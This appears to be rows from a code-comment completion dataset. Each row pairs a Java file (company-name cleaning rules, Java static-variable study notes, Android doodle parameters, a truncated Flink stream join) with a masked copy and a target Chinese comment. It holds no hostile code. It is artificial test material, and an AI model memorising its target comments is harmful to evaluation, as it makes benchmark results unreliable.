for (String orgtype : orgtypeMainArray) {
if (StringUtils.isNotBlank(orgType_old) && orgType_old.contains(orgtype)) {
orgtypeMain = orgtype;
break;
}
}
}
String newestName = orgName;
KnetBgdataKeyword keyword = new KnetBgdataKeyword();
keyword.setOrgtypeMain(orgtypeMain);
keyword.setOrgName(orgName.trim());
/**
* 1.0 企业名称-- 降噪处理,避免影响后续简称提取
*/
// 1.0.1 统一小括号
newestName = newestName.replaceAll("(", "(").replaceAll(")", ")");
// 1.0.2 取出最后一个小括号的内容 ,如果非标准的企业类型,直接进行剔除 如:北龙中网科技有限公司(北京分公司支公司)
if (newestName.endsWith(")")) {
String lastSubOrgtype = newestName.substring(newestName.lastIndexOf("("));
if (!Arrays.asList(KnetBigdataCommonInit.orgtype_stripWords).contains(lastSubOrgtype.replaceAll("\\(|\\)", ""))) {
newestName = newestName.replace(lastSubOrgtype, "");
}
}
// 1.0.3 剔除无效的词
for (String wd : KnetBigdataCommonInit.useless_forbidWords) {
newestName = newestName.replace(wd, "");
}
//1.0.4 剔除 类似【**公司第一分公司】
if (newestName.indexOf("公司") > 0) {
newestName = newestName.substring(0, newestName.indexOf("公司") + 2);
}
/**
* ###########################
* 单位名称中包含【银行、大学】,直接跳过不再进行清洗
* ###########################
*/
for (String special_part : KnetBigdataCommonInit.common_skip_words_for_clean) {
if (orgName.contains(special_part)) {
keyword.setShortName(newestName);
return keyword;
}
}
/**
* 2.0 排除公司类型 可能会多个
*/
StringBuffer bf_orgtype = new StringBuffer("");
int cntOrgtype = 0;
for (String orgtype : KnetBigdataCommonInit.orgtype_stripWords) {
if (orgtype.length() <= 3) {
if (newestName.endsWith(orgtype) || newestName.endsWith("(" + orgtype + ")")) {
bf_orgtype.append(orgtype).append(",");
newestName = newestName.replace(orgtype, "");
cntOrgtype++;
}
} else {
if (newestName.contains(orgtype)) {
bf_orgtype.append(orgtype).append(",");
newestName = newestName.replace(orgtype, "");
cntOrgtype++;
}
}
if (cntOrgtype >= 2) {
break;
}
}
if (StringUtils.isNotBlank(bf_orgtype.toString())) {
keyword.setOrgType(bf_orgtype.deleteCharAt(bf_orgtype.toString().length() - 1).toString());
}
/**
* ###########################
* 单位名称中以【中国】开头的,仅清洗企业类型
* ###########################
*/
if (orgName.startsWith("中国")) {
keyword.setShortName(newestName);
return keyword;
}
//3.0.1 排除省 省2
for (String sheng : KnetBigdataCommonInit.shengList) {
if (newestName.contains(sheng)) {
keyword.setProvince(sheng);
newestName = newestName.replace(sheng, "");
break;
}
}
if (StringUtils.isBlank(keyword.getProvince())) {
for (String sheng2 : KnetBigdataCommonInit.shengList_striped) {
if (newestName.contains(sheng2)) {
keyword.setProvince(sheng2);
newestName = newestName.replace(sheng2, "");
break;
}
}
}
//3.0.2排除市 市2
for (String city : KnetBigdataCommonInit.cityList) {
if (newestName.contains(city)) {
keyword.setCity(city);
newestName = newestName.replace(city, "");
break;
}
}
if (StringUtils.isBlank(keyword.getCity())) {
for (String city2 : KnetBigdataCommonInit.cityList_striped) {
if (newestName.contains(city2)) {
keyword.setCity(city2);
newestName = newestName.replace(city2, "");
break;
}
}
}
//3.0.3排除县 县2
for (String county : KnetBigdataCommonInit.countyList) {
if (newestName.contains(county)) {
keyword.setCounty(county);
newestName = newestName.replace(county, "");
break;
}
}
if (StringUtils.isBlank(keyword.getCounty())) {
for (String county2 : KnetBigdataCommonInit.countyList_striped) {
//县 《《2个长度时头部匹配 3个长度以上包含匹配》》
if (county2.length() == 2) {
if (newestName.startsWith(county2) || newestName.contains("(" + county2 + ")")) {
keyword.setCounty(county2);
newestName = newestName.replace(county2, "");
break;
}
} else {
if (newestName.contains(county2)) {
keyword.setCounty(county2);
newestName = newestName.replace(county2, "");
break;
}
}
}
}
/**
*4.0 排除行业类型 允许多个
*/
if (newestName.length() >= 4) {
StringBuffer bf_inds = new StringBuffer("");
int cntIds = 0;
//4.0.1 3个长度以上的行业属性词,进行匹配
for (String ids : KnetBigdataCommonInit.industry_stripWords) {
if (newestName.contains(ids)) {
bf_inds.append(ids).append(",");
newestName = newestName.replace(ids, "");
cntIds++;
}
if (cntIds >= 2) {
break;
}
}
//4.0.2 2个长度的行业属性,手动排序后匹配
if (cntIds < 2) {
for (String ids_ext : KnetBigdataCommonInit.industry_stripWords_ext) {
if (newestName.contains(ids_ext)) {
bf_inds.append(ids_ext).append(",");
newestName = newestName.replace(ids_ext, "");
cntIds++;
}
if (cntIds >= 2) {
break;
}
}
}
if (StringUtils.isNotBlank(bf_inds.toString())) {
keyword.setIndustry(bf_inds.deleteCharAt(bf_inds.toString().length() - 1).toString());
}
}
//5.0 设置简称
keyword.setShortName(newestName.replaceAll("\\(|\\)", ""));
//6.0 组装拆分后的扩展词
//6.0.1 企业全称中包含“集团”的,简称+“集团”直接作为推荐注册词进行展示
StringBuffer ext_words = new StringBuffer("");
if (StringUtils.isNotBlank(keyword.getShortName())) {
ext_words.append(keyword.getShortName()).append(",");
}
if (orgName.contains("集团")) {
if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("集团")) {
ext_words.append(keyword.getShortName() + "集团").append(",");
}
}
if (orgName.contains("股份")) {
if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("股份")) {
ext_words.append(keyword.getShortName() + "股份").append(",");
}
}
//6.0.2 循环拼接
if (StringUtils.isNotBlank(keyword.getIndustry())) {
for (String ids : keyword.getIndustry().split(",")) {
ext_words.append(keyword.getShortName() + ids).append(",");
}
}
//6.0.3 如果是如下大类,直接 简称+大类 拼接
for (String mainType : KnetBigdataCommonInit.industry_stripWords_spetial_mix) {
if (StringUtils.isNotBlank(keyword.getShortName())) {
String nname = keyword.getShortName() + mainType;
if (orgName.contains(mainType)) {
if (!ext_words.toString().contains(nname)) {
ext_words.append(nname).append(",");
}
}
}
}
// // 6.0.4 如果简称为空 【县-市-省 + 行业词】 ,大部分是类似 河北电信 北京集团
// if(StringUtils.isBlank(keyword.getShortName())) {
// if (StringUtils.isNotBlank(keyword.getCounty())) {
// keyword.setShortName(keyword.getCounty());
// } else if (StringUtils.isNotBlank(keyword.getCity()) && !keyword.getCity().contains("区")) {
// keyword.setShortName(keyword.getCity());
// } else if (StringUtils.isNotBlank(keyword.getProvince())) {
// keyword.setShortName(keyword.getProvince());
// }
// }
if (StringUtils.isNotBlank(ext_words.toString())) {
keyword.setOrgnameExtWords(ext_words.deleteCharAt(ext_words.toString().length() - 1).toString());
}
return keyword;
}
}
| 1961615415/springmvcfile | KnetBigdataCleanRules.java | 2,545 | //4.0.1 3个长度以上的行业属性词,进行匹配
| line_comment | zh-cn | package cn.knet.util;
import cn.knet.domain.vo.KnetBgdataKeyword;
import org.apache.commons.lang.StringUtils;
import java.util.Arrays;
/**
* 大数据--通用清洗规则
*/
public class KnetBigdataCleanRules {
private static final String[] orgtypeMainArray = new String[]{"股份有限公司", "有限责任公司", "股份合作公司", "国有企业", "独资企业", "有限合伙", "普通合伙", "私营企业"};
/**
* 通用清洗规则
*
* @param orgName 企业名称
* @param orgType_old 企业行业类型
* @return
*/
public static KnetBgdataKeyword cleanRules(String orgName, String orgType_old) {
String orgtypeMain = "其他";
if (StringUtils.isNotBlank(orgType_old)) {
for (String orgtype : orgtypeMainArray) {
if (StringUtils.isNotBlank(orgType_old) && orgType_old.contains(orgtype)) {
orgtypeMain = orgtype;
break;
}
}
}
String newestName = orgName;
KnetBgdataKeyword keyword = new KnetBgdataKeyword();
keyword.setOrgtypeMain(orgtypeMain);
keyword.setOrgName(orgName.trim());
/**
* 1.0 企业名称-- 降噪处理,避免影响后续简称提取
*/
// 1.0.1 统一小括号
newestName = newestName.replaceAll("(", "(").replaceAll(")", ")");
// 1.0.2 取出最后一个小括号的内容 ,如果非标准的企业类型,直接进行剔除 如:北龙中网科技有限公司(北京分公司支公司)
if (newestName.endsWith(")")) {
String lastSubOrgtype = newestName.substring(newestName.lastIndexOf("("));
if (!Arrays.asList(KnetBigdataCommonInit.orgtype_stripWords).contains(lastSubOrgtype.replaceAll("\\(|\\)", ""))) {
newestName = newestName.replace(lastSubOrgtype, "");
}
}
// 1.0.3 剔除无效的词
for (String wd : KnetBigdataCommonInit.useless_forbidWords) {
newestName = newestName.replace(wd, "");
}
//1.0.4 剔除 类似【**公司第一分公司】
if (newestName.indexOf("公司") > 0) {
newestName = newestName.substring(0, newestName.indexOf("公司") + 2);
}
/**
* ###########################
* 单位名称中包含【银行、大学】,直接跳过不再进行清洗
* ###########################
*/
for (String special_part : KnetBigdataCommonInit.common_skip_words_for_clean) {
if (orgName.contains(special_part)) {
keyword.setShortName(newestName);
return keyword;
}
}
/**
* 2.0 排除公司类型 可能会多个
*/
StringBuffer bf_orgtype = new StringBuffer("");
int cntOrgtype = 0;
for (String orgtype : KnetBigdataCommonInit.orgtype_stripWords) {
if (orgtype.length() <= 3) {
if (newestName.endsWith(orgtype) || newestName.endsWith("(" + orgtype + ")")) {
bf_orgtype.append(orgtype).append(",");
newestName = newestName.replace(orgtype, "");
cntOrgtype++;
}
} else {
if (newestName.contains(orgtype)) {
bf_orgtype.append(orgtype).append(",");
newestName = newestName.replace(orgtype, "");
cntOrgtype++;
}
}
if (cntOrgtype >= 2) {
break;
}
}
if (StringUtils.isNotBlank(bf_orgtype.toString())) {
keyword.setOrgType(bf_orgtype.deleteCharAt(bf_orgtype.toString().length() - 1).toString());
}
/**
* ###########################
* 单位名称中以【中国】开头的,仅清洗企业类型
* ###########################
*/
if (orgName.startsWith("中国")) {
keyword.setShortName(newestName);
return keyword;
}
//3.0.1 排除省 省2
for (String sheng : KnetBigdataCommonInit.shengList) {
if (newestName.contains(sheng)) {
keyword.setProvince(sheng);
newestName = newestName.replace(sheng, "");
break;
}
}
if (StringUtils.isBlank(keyword.getProvince())) {
for (String sheng2 : KnetBigdataCommonInit.shengList_striped) {
if (newestName.contains(sheng2)) {
keyword.setProvince(sheng2);
newestName = newestName.replace(sheng2, "");
break;
}
}
}
//3.0.2排除市 市2
for (String city : KnetBigdataCommonInit.cityList) {
if (newestName.contains(city)) {
keyword.setCity(city);
newestName = newestName.replace(city, "");
break;
}
}
if (StringUtils.isBlank(keyword.getCity())) {
for (String city2 : KnetBigdataCommonInit.cityList_striped) {
if (newestName.contains(city2)) {
keyword.setCity(city2);
newestName = newestName.replace(city2, "");
break;
}
}
}
//3.0.3排除县 县2
for (String county : KnetBigdataCommonInit.countyList) {
if (newestName.contains(county)) {
keyword.setCounty(county);
newestName = newestName.replace(county, "");
break;
}
}
if (StringUtils.isBlank(keyword.getCounty())) {
for (String county2 : KnetBigdataCommonInit.countyList_striped) {
//县 《《2个长度时头部匹配 3个长度以上包含匹配》》
if (county2.length() == 2) {
if (newestName.startsWith(county2) || newestName.contains("(" + county2 + ")")) {
keyword.setCounty(county2);
newestName = newestName.replace(county2, "");
break;
}
} else {
if (newestName.contains(county2)) {
keyword.setCounty(county2);
newestName = newestName.replace(county2, "");
break;
}
}
}
}
/**
*4.0 排除行业类型 允许多个
*/
if (newestName.length() >= 4) {
StringBuffer bf_inds = new StringBuffer("");
int cntIds = 0;
//4. <SUF>
for (String ids : KnetBigdataCommonInit.industry_stripWords) {
if (newestName.contains(ids)) {
bf_inds.append(ids).append(",");
newestName = newestName.replace(ids, "");
cntIds++;
}
if (cntIds >= 2) {
break;
}
}
//4.0.2 2个长度的行业属性,手动排序后匹配
if (cntIds < 2) {
for (String ids_ext : KnetBigdataCommonInit.industry_stripWords_ext) {
if (newestName.contains(ids_ext)) {
bf_inds.append(ids_ext).append(",");
newestName = newestName.replace(ids_ext, "");
cntIds++;
}
if (cntIds >= 2) {
break;
}
}
}
if (StringUtils.isNotBlank(bf_inds.toString())) {
keyword.setIndustry(bf_inds.deleteCharAt(bf_inds.toString().length() - 1).toString());
}
}
//5.0 设置简称
keyword.setShortName(newestName.replaceAll("\\(|\\)", ""));
//6.0 组装拆分后的扩展词
//6.0.1 企业全称中包含“集团”的,简称+“集团”直接作为推荐注册词进行展示
StringBuffer ext_words = new StringBuffer("");
if (StringUtils.isNotBlank(keyword.getShortName())) {
ext_words.append(keyword.getShortName()).append(",");
}
if (orgName.contains("集团")) {
if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("集团")) {
ext_words.append(keyword.getShortName() + "集团").append(",");
}
}
if (orgName.contains("股份")) {
if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("股份")) {
ext_words.append(keyword.getShortName() + "股份").append(",");
}
}
//6.0.2 循环拼接
if (StringUtils.isNotBlank(keyword.getIndustry())) {
for (String ids : keyword.getIndustry().split(",")) {
ext_words.append(keyword.getShortName() + ids).append(",");
}
}
//6.0.3 如果是如下大类,直接 简称+大类 拼接
for (String mainType : KnetBigdataCommonInit.industry_stripWords_spetial_mix) {
if (StringUtils.isNotBlank(keyword.getShortName())) {
String nname = keyword.getShortName() + mainType;
if (orgName.contains(mainType)) {
if (!ext_words.toString().contains(nname)) {
ext_words.append(nname).append(",");
}
}
}
}
// // 6.0.4 如果简称为空 【县-市-省 + 行业词】 ,大部分是类似 河北电信 北京集团
// if(StringUtils.isBlank(keyword.getShortName())) {
// if (StringUtils.isNotBlank(keyword.getCounty())) {
// keyword.setShortName(keyword.getCounty());
// } else if (StringUtils.isNotBlank(keyword.getCity()) && !keyword.getCity().contains("区")) {
// keyword.setShortName(keyword.getCity());
// } else if (StringUtils.isNotBlank(keyword.getProvince())) {
// keyword.setShortName(keyword.getProvince());
// }
// }
if (StringUtils.isNotBlank(ext_words.toString())) {
keyword.setOrgnameExtWords(ext_words.deleteCharAt(ext_words.toString().length() - 1).toString());
}
return keyword;
}
}
| 0 |
22574_10 | public class S {
// 类变量/静态变量static的目的
// java中的static关键字主要用于内存管理。
/*
* 使用范围:java static关键字可以用在变量、方法、代码块和嵌套类伤。
*
* 作用范围:static关键字属于类,而不是类的实例。
*
* 静态(static)修饰如下:
*
* 变量:称为类变量、静态变量
* 方法:称为类方法、静态方法
* 代码块:称为静态代码块
* 嵌套类:称为静态内部类
* 类的成员变量可以分为以下两种:
*
* 静态变量(或称为类变量),指被 static 修饰的成员变量。
* 实例变量,指没有被 static 修饰的成员变量。
* 静态变量与实例变量的区别如下:
* 1)静态变量
*
* 运行时,Java 虚拟机只为静态变量分配一次内存,加载类过程中完成静态变量的内存分配。
* 在类的内部,可以在任何方法内直接访问静态变量。
* 在其他类中,可以通过类名访问该类中的静态变量。
* 2)实例变量
*
* 每创建一个实例,Java 虚拟机就会为实例变量分配一次内存。
* 在类的内部,可以在非静态方法中直接访问实例变量。
* 在本类的静态方法或其他类中则需要通过类的实例对象进行访问。
* 静态变量在类中的作用如下:
*
* 静态变量可以被类的所有实例共享,因此静态变量可以作为实例之间的共享数据,增加实例之间的交互性。
* 如果类的所有实例都包含一个相同的常量属性,则可以把这个属性定义为静态常量类型,从而节省内存空间。例如,在类中定义一个静态常量 PI。
* 静态变量的好处:它能使程序存储器高效(即它节省内存)。
*/
static String name = "D东ing";
// 创建了一个类的静态变量即全局变量
// 在本类中任意一个方法或者地方都可以访问,且其他类可以调用
// 可以加上访问修饰符pubilc private
String age = "18";
// 实例变量和类变量都称为成员变量
// 实例变量:独立于方法之外的变量,不过没有 static 修饰
// 可以加上访问修饰符pubilc private
/*
* 静态变量:成员变量的一种,定义在类中方法外,用static修饰,在JVM中属于方法区,声明时有默认的初始化值。
* 实例变量:成员变量的一种,定义在类中方法外,在JVM中属于方堆中,声明时有默认的初始化值。
* 局部变量:定义在类中方法中,在JVM中属于栈中,声明时没有默认的初始值,初始化时必须手动赋值。
* 静态变量和局部变量都属于成员变量,那么如何选择合适的类型呢?下面就来谈一下这两者的区别和使用方法。
* 静态变量,顾名思义就是静止不变的变量,在对象中对于同一个成员变量的数值都一样时,例如定义一个中国人类,每个人的国籍都是中国,就没必要每一个对象中存一份,
* 这样就可以把数据抽离出来将其用静态变量表示,用static修饰。
* 调用方式:
* 实例变量只能通过对象名调用,静态变量可以使用类名调用,也可以使用对象名调用,但是不推荐使用对象名调用。
*/
public void getAge() {
/*
* 局部变量声明在方法、构造方法或者语句块中;
* 局部变量在方法、构造方法、或者语句块被执行的时候创建,当它们执行完成后,变量将会被销毁;
* 访问修饰符不能用于局部变量;
* 局部变量只在声明它的方法、构造方法或者语句块中可见;
* 局部变量是在栈上分配的。
* 局部变量没有默认值,所以局部变量被声明后,必须经过初始化,才可以使用。
*/
String person = "一个";
}
}
| 1990569689/JavaLearn | java/S.java | 982 | /*
* 局部变量声明在方法、构造方法或者语句块中;
* 局部变量在方法、构造方法、或者语句块被执行的时候创建,当它们执行完成后,变量将会被销毁;
* 访问修饰符不能用于局部变量;
* 局部变量只在声明它的方法、构造方法或者语句块中可见;
* 局部变量是在栈上分配的。
* 局部变量没有默认值,所以局部变量被声明后,必须经过初始化,才可以使用。
*/ | block_comment | zh-cn | public class S {
// 类变量/静态变量static的目的
// java中的static关键字主要用于内存管理。
/*
* 使用范围:java static关键字可以用在变量、方法、代码块和嵌套类伤。
*
* 作用范围:static关键字属于类,而不是类的实例。
*
* 静态(static)修饰如下:
*
* 变量:称为类变量、静态变量
* 方法:称为类方法、静态方法
* 代码块:称为静态代码块
* 嵌套类:称为静态内部类
* 类的成员变量可以分为以下两种:
*
* 静态变量(或称为类变量),指被 static 修饰的成员变量。
* 实例变量,指没有被 static 修饰的成员变量。
* 静态变量与实例变量的区别如下:
* 1)静态变量
*
* 运行时,Java 虚拟机只为静态变量分配一次内存,加载类过程中完成静态变量的内存分配。
* 在类的内部,可以在任何方法内直接访问静态变量。
* 在其他类中,可以通过类名访问该类中的静态变量。
* 2)实例变量
*
* 每创建一个实例,Java 虚拟机就会为实例变量分配一次内存。
* 在类的内部,可以在非静态方法中直接访问实例变量。
* 在本类的静态方法或其他类中则需要通过类的实例对象进行访问。
* 静态变量在类中的作用如下:
*
* 静态变量可以被类的所有实例共享,因此静态变量可以作为实例之间的共享数据,增加实例之间的交互性。
* 如果类的所有实例都包含一个相同的常量属性,则可以把这个属性定义为静态常量类型,从而节省内存空间。例如,在类中定义一个静态常量 PI。
* 静态变量的好处:它能使程序存储器高效(即它节省内存)。
*/
static String name = "D东ing";
// 创建了一个类的静态变量即全局变量
// 在本类中任意一个方法或者地方都可以访问,且其他类可以调用
// 可以加上访问修饰符pubilc private
String age = "18";
// 实例变量和类变量都称为成员变量
// 实例变量:独立于方法之外的变量,不过没有 static 修饰
// 可以加上访问修饰符pubilc private
/*
* 静态变量:成员变量的一种,定义在类中方法外,用static修饰,在JVM中属于方法区,声明时有默认的初始化值。
* 实例变量:成员变量的一种,定义在类中方法外,在JVM中属于方堆中,声明时有默认的初始化值。
* 局部变量:定义在类中方法中,在JVM中属于栈中,声明时没有默认的初始值,初始化时必须手动赋值。
* 静态变量和局部变量都属于成员变量,那么如何选择合适的类型呢?下面就来谈一下这两者的区别和使用方法。
* 静态变量,顾名思义就是静止不变的变量,在对象中对于同一个成员变量的数值都一样时,例如定义一个中国人类,每个人的国籍都是中国,就没必要每一个对象中存一份,
* 这样就可以把数据抽离出来将其用静态变量表示,用static修饰。
* 调用方式:
* 实例变量只能通过对象名调用,静态变量可以使用类名调用,也可以使用对象名调用,但是不推荐使用对象名调用。
*/
public void getAge() {
/*
* 局部变 <SUF>*/
String person = "一个";
}
}
| 1 |
49823_8 | package cn.hzw.doodle;
import android.app.Activity;
import android.graphics.Color;
import android.os.Parcel;
import android.os.Parcelable;
import cn.hzw.doodle.core.IDoodle;
/**
* 涂鸦参数
*/
public class DoodleParams implements Parcelable {
/**
* 图片路径
*/
public String mImagePath;
/**
* 保存路径,如果为null,则图片保存在根目录下/DCIM/Doodle/
*/
public String mSavePath;
/**
* 保存路径是否为目录,如果为目录,则在该目录生成由时间戳组成的图片名称
*/
public boolean mSavePathIsDir;
/**
* 触摸时,图片区域外是否绘制涂鸦轨迹
*/
public boolean mIsDrawableOutside;
/**
* 涂鸦时(手指按下)隐藏设置面板的延长时间(ms),当小于等于0时则为不尝试隐藏面板(即保持面板当前状态不变);当大于0时表示需要触摸屏幕超过一定时间后才隐藏
* 或者手指抬起时展示面板的延长时间(ms),或者表示需要离开屏幕超过一定时间后才展示
* 默认为200ms
*/
public long mChangePanelVisibilityDelay = 200; //ms
/**
* 设置放大镜的倍数,当小于等于0时表示不使用放大器功能
* 放大器只有在设置面板被隐藏的时候才会出现
* 默认为2.5倍
*/
public float mZoomerScale = 2.5f;
/**
* 是否全屏显示,即是否隐藏状态栏
* 默认为false,表示状态栏继承应用样式
*/
public boolean mIsFullScreen = false;
/**
* 初始化的画笔大小,单位为像素
*/
public float mPaintPixelSize = -1;
/**
* 初始化的画笔大小,单位为涂鸦坐标系中的单位大小,该单位参考dp,独立于图片
* mPaintUnitSize值优先于mPaintPixelSize
*/
public float mPaintUnitSize = -1;
/**
* 画布的最小/最大缩放倍数
*/
public float mMinScale = DoodleView.MIN_SCALE;
public float mMaxScale = DoodleView.MAX_SCALE;
/**
* 初始的画笔颜色
*/
public int mPaintColor = Color.RED;
/**
* 是否支持缩放item
*/
public boolean mSupportScaleItem = true;
/**
*
* 是否优化绘制,开启后涂鸦会及时绘制在图片上,以此优化绘制速度和性能.
*
* {@link DoodleView#mOptimizeDrawing}
*/
public boolean mOptimizeDrawing = true;
public static final Creator<DoodleParams> CREATOR = new Creator<DoodleParams>() {
@Override
public DoodleParams createFromParcel(Parcel in) {
DoodleParams params = new DoodleParams();
params.mImagePath = in.readString();
params.mSavePath = in.readString();
params.mSavePathIsDir = in.readInt() == 1;
params.mIsDrawableOutside = in.readInt() == 1;
params.mChangePanelVisibilityDelay = in.readLong();
params.mZoomerScale = in.readFloat();
params.mIsFullScreen = in.readInt() == 1;
params.mPaintPixelSize = in.readFloat();
params.mPaintUnitSize = in.readFloat();
params.mMinScale = in.readFloat();
params.mMaxScale = in.readFloat();
params.mPaintColor = in.readInt();
params.mSupportScaleItem = in.readInt() == 1;
params.mOptimizeDrawing = in.readInt() == 1;
return params;
}
@Override
public DoodleParams[] newArray(int size) {
return new DoodleParams[size];
}
};
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeString(mImagePath);
dest.writeString(mSavePath);
dest.writeInt(mSavePathIsDir ? 1 : 0);
dest.writeInt(mIsDrawableOutside ? 1 : 0);
dest.writeLong(mChangePanelVisibilityDelay);
dest.writeFloat(mZoomerScale);
dest.writeInt(mIsFullScreen ? 1 : 0);
dest.writeFloat(mPaintPixelSize);
dest.writeFloat(mPaintUnitSize);
dest.writeFloat(mMinScale);
dest.writeFloat(mMaxScale);
dest.writeInt(mPaintColor);
dest.writeInt(mSupportScaleItem ? 1 : 0);
dest.writeInt(mOptimizeDrawing ? 1 : 0);
}
@Override
public int describeContents() {
return 0;
}
private static DialogInterceptor sDialogInterceptor;
/**
* 设置涂鸦中对话框的拦截器,如点击返回按钮(或返回键)弹出保存对话框,可以进行拦截,弹出自定义的对话框
* 切记:需要自行处理内存泄漏的问题!!!
*/
public static void setDialogInterceptor(DialogInterceptor interceptor) {
sDialogInterceptor = interceptor;
}
public static DialogInterceptor getDialogInterceptor() {
return sDialogInterceptor;
}
public enum DialogType {
SAVE, CLEAR_ALL, COLOR_PICKER;
}
public interface DialogInterceptor {
/**
* @param activity
* @param doodle
* @param dialogType 对话框类型
* @return 返回true表示拦截
*/
boolean onShow(Activity activity, IDoodle doodle, DialogType dialogType);
}
}
| 1993hzw/Doodle | doodle/src/main/java/cn/hzw/doodle/DoodleParams.java | 1,372 | /**
* 初始化的画笔大小,单位为像素
*/ | block_comment | zh-cn | package cn.hzw.doodle;
import android.app.Activity;
import android.graphics.Color;
import android.os.Parcel;
import android.os.Parcelable;
import cn.hzw.doodle.core.IDoodle;
/**
* 涂鸦参数
*/
public class DoodleParams implements Parcelable {
/**
* 图片路径
*/
public String mImagePath;
/**
* 保存路径,如果为null,则图片保存在根目录下/DCIM/Doodle/
*/
public String mSavePath;
/**
* 保存路径是否为目录,如果为目录,则在该目录生成由时间戳组成的图片名称
*/
public boolean mSavePathIsDir;
/**
* 触摸时,图片区域外是否绘制涂鸦轨迹
*/
public boolean mIsDrawableOutside;
/**
* 涂鸦时(手指按下)隐藏设置面板的延长时间(ms),当小于等于0时则为不尝试隐藏面板(即保持面板当前状态不变);当大于0时表示需要触摸屏幕超过一定时间后才隐藏
* 或者手指抬起时展示面板的延长时间(ms),或者表示需要离开屏幕超过一定时间后才展示
* 默认为200ms
*/
public long mChangePanelVisibilityDelay = 200; //ms
/**
* 设置放大镜的倍数,当小于等于0时表示不使用放大器功能
* 放大器只有在设置面板被隐藏的时候才会出现
* 默认为2.5倍
*/
public float mZoomerScale = 2.5f;
/**
* 是否全屏显示,即是否隐藏状态栏
* 默认为false,表示状态栏继承应用样式
*/
public boolean mIsFullScreen = false;
/**
* 初始化 <SUF>*/
public float mPaintPixelSize = -1;
/**
* 初始化的画笔大小,单位为涂鸦坐标系中的单位大小,该单位参考dp,独立于图片
* mPaintUnitSize值优先于mPaintPixelSize
*/
public float mPaintUnitSize = -1;
/**
* 画布的最小/最大缩放倍数
*/
public float mMinScale = DoodleView.MIN_SCALE;
public float mMaxScale = DoodleView.MAX_SCALE;
/**
* 初始的画笔颜色
*/
public int mPaintColor = Color.RED;
/**
* 是否支持缩放item
*/
public boolean mSupportScaleItem = true;
/**
*
* 是否优化绘制,开启后涂鸦会及时绘制在图片上,以此优化绘制速度和性能.
*
* {@link DoodleView#mOptimizeDrawing}
*/
public boolean mOptimizeDrawing = true;
public static final Creator<DoodleParams> CREATOR = new Creator<DoodleParams>() {
@Override
public DoodleParams createFromParcel(Parcel in) {
DoodleParams params = new DoodleParams();
params.mImagePath = in.readString();
params.mSavePath = in.readString();
params.mSavePathIsDir = in.readInt() == 1;
params.mIsDrawableOutside = in.readInt() == 1;
params.mChangePanelVisibilityDelay = in.readLong();
params.mZoomerScale = in.readFloat();
params.mIsFullScreen = in.readInt() == 1;
params.mPaintPixelSize = in.readFloat();
params.mPaintUnitSize = in.readFloat();
params.mMinScale = in.readFloat();
params.mMaxScale = in.readFloat();
params.mPaintColor = in.readInt();
params.mSupportScaleItem = in.readInt() == 1;
params.mOptimizeDrawing = in.readInt() == 1;
return params;
}
@Override
public DoodleParams[] newArray(int size) {
return new DoodleParams[size];
}
};
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeString(mImagePath);
dest.writeString(mSavePath);
dest.writeInt(mSavePathIsDir ? 1 : 0);
dest.writeInt(mIsDrawableOutside ? 1 : 0);
dest.writeLong(mChangePanelVisibilityDelay);
dest.writeFloat(mZoomerScale);
dest.writeInt(mIsFullScreen ? 1 : 0);
dest.writeFloat(mPaintPixelSize);
dest.writeFloat(mPaintUnitSize);
dest.writeFloat(mMinScale);
dest.writeFloat(mMaxScale);
dest.writeInt(mPaintColor);
dest.writeInt(mSupportScaleItem ? 1 : 0);
dest.writeInt(mOptimizeDrawing ? 1 : 0);
}
@Override
public int describeContents() {
return 0;
}
private static DialogInterceptor sDialogInterceptor;
/**
* 设置涂鸦中对话框的拦截器,如点击返回按钮(或返回键)弹出保存对话框,可以进行拦截,弹出自定义的对话框
* 切记:需要自行处理内存泄漏的问题!!!
*/
public static void setDialogInterceptor(DialogInterceptor interceptor) {
sDialogInterceptor = interceptor;
}
public static DialogInterceptor getDialogInterceptor() {
return sDialogInterceptor;
}
public enum DialogType {
SAVE, CLEAR_ALL, COLOR_PICKER;
}
public interface DialogInterceptor {
/**
* @param activity
* @param doodle
* @param dialogType 对话框类型
* @return 返回true表示拦截
*/
boolean onShow(Activity activity, IDoodle doodle, DialogType dialogType);
}
}
| 0 |
64218_0 | package com.dream.flink.connect;
import com.google.common.collect.Lists;
import org.apache.flink.api.common.eventtime.WatermarkStrategy;
import org.apache.flink.api.common.functions.FlatMapFunction;
import org.apache.flink.api.common.state.MapState;
import org.apache.flink.api.common.state.MapStateDescriptor;
import org.apache.flink.api.common.state.ValueState;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeinfo.Types;
import org.apache.flink.api.java.functions.KeySelector;
import org.apache.flink.api.java.tuple.Tuple2;
import org.apache.flink.api.java.tuple.Tuple3;
import org.apache.flink.configuration.Configuration;
import org.apache.flink.streaming.api.datastream.DataStream;
import org.apache.flink.streaming.api.datastream.KeyedStream;
import org.apache.flink.streaming.api.datastream.SingleOutputStreamOperator;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;
import org.apache.flink.streaming.api.functions.KeyedProcessFunction;
import org.apache.flink.streaming.api.functions.co.CoProcessFunction;
import org.apache.flink.util.Collector;
import java.time.Duration;
import java.util.List;
import java.util.Map;
import java.util.Objects;
public class CarTrafficIncidentJoin {
public static void main(String[] args) throws Exception {
StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
env.setParallelism(1);
DataStream<CarLocationEvent> carLocationStream = env.fromElements(
// 10 一直没动
// 11 在动
// 12 只有一条记录,认为没动
// 13 在动
new CarLocationEvent(0, 0L, 10, 100),
new CarLocationEvent(1, 0L, 11, 100),
new CarLocationEvent(2, 1000L, 10, 100),
new CarLocationEvent(3, 1000L, 11, 101),
new CarLocationEvent(4, 2000L, 12, 103),
new CarLocationEvent(5, 2000L, 11, 102),
new CarLocationEvent(6, 3000L, 11, 100),
new CarLocationEvent(7, 3000L, 13, 105),
new CarLocationEvent(8, 4000L, 10, 100),
new CarLocationEvent(9, 4000L, 13, 104)
// ).assignTimestampsAndWatermarks(WatermarkStrategy.<CarLocationEvent>forMonotonousTimestamps()
).assignTimestampsAndWatermarks(WatermarkStrategy.<CarLocationEvent>forBoundedOutOfOrderness(Duration.ofMillis(10))
